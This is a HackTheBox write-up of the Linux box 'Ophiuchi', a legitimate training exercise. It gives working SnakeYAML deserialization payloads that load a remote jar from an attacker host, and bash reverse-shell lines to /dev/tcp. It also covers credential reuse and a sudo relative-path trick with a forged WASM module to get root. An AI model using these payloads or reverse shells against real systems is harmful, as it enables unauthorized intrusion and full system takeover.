Ophiuchi Writeup - HackTheBox
Ophiuchi is a Linux box. The chain runs: nmap finds SSH and Tomcat on port 8080 hosting an online YAML parser, SnakeYAML's default Constructor allows arbitrary class instantiation via !! tags, a ScriptEngineManager + URLClassLoader gadget chain loads a malicious ScriptEngineFactory jar from the attacker and executes a reverse shell as the tomcat user, Tomcat's config file contains cleartext admin credentials reused for SSH, sudo allows running a Go script that resolves dependencies by relative path, forging a main.wasm that returns info()==1 and a malicious deploy.sh gives a root shell from /tmp.
Discovery
Port scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 8080/tcp open http Apache Tomcat |_http-title: Parse YAML
Tomcat on 8080 hosts an online YAML parser. Confirm SnakeYAML deserialization by checking if the target makes outbound HTTP requests via a URLClassLoader gadget:
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://$ATTACKER_IP/"]
]]
]
$ATTACKER_IP - - "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -
The server fetched the ServiceLoader descriptor path, confirming the full chain executes. The 404 is expected since that file was not served yet.
Foothold
Malicious ScriptEngineFactory jar
Edit src/artsploit/AwesomeScriptEngineFactory.java, replacing the constructor body with the reverse shell:
public AwesomeScriptEngineFactory() throws Exception {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"});
}
Compile targeting Java 8 bytecode. The target JRE only supports up to class file version 55 (Java 11), compiling with the system default Java 21 produces class file version 65 which the target rejects with UnsupportedClassVersionError.
Serve the jar and submit the payload:
# Submit to the YAML parser:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://$ATTACKER_IP/yaml-payload.jar"]
]]
]
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] $ id uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Shell as tomcat.
Lateral Movement
Tomcat credentials reused for SSH
<user username="admin" password="$TOMCAT_PASSWORD" roles="manager-gui,admin-gui"/>
admin@ophiuchi:~$ id uid=1000(admin) gid=1000(admin)
SSH as admin.
Privilege Escalation
Relative-path sudo via WASM gate
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
init := instance.Exports["info"]
result, _ := init()
if (result.String() != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
exec.Command("/bin/sh", "deploy.sh").Output()
}
Both main.wasm and deploy.sh are relative paths. Running the sudo command from a different directory makes it load attacker-controlled files. Decompile the real main.wasm to see what info() returns:
(func $info (type 0) (result i32) i32.const 0)
info() always returns 0. Forge a replacement that returns 1:
; main.wat
(module
(func (export "info") (result i32)
i32.const 1
)
)
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 33758 root@ophiuchi:/tmp# whoami root
Related
References
-
SnakeYAML deserialization PoC via ScriptEngineFactory gadget chain.
-
WebAssembly Binary Toolkit, wasm2wat and wat2wasm.